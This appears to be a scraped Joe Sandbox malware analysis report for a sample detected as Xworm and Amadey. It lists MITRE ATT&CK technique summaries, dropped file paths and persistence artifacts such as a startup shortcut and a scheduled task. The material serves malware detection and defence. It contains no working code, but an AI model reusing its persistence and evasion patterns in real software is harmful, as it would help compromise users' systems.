Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Xworm

Threatname: Amadey

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\github.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\EJQ2xs8.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cAvEmnl[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\EJQ2xs8[1].exe

C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe

C:\Users\user\AppData\Local\Temp\1010706001\EJQ2xs8.exe

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\github.lnk

C:\Users\user\AppData\Roaming\github.exe

C:\Windows\Tasks\skotes.job

Windows Analysis Report
file.exe

Function 00FABE30 Relevance: 21.3, APIs: 6, Strings: 6, Instructions: 313
networksleepfileCOMMON

Function 00FAE530 Relevance: 14.7, Strings: 11, Instructions: 998
COMMON

Function 00FB3640 Relevance: 51.5, APIs: 1, Strings: 28, Instructions: 761
COMMON

Function 00FB2F10 Relevance: 21.9, APIs: 1, Strings: 11, Instructions: 910
COMMON

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre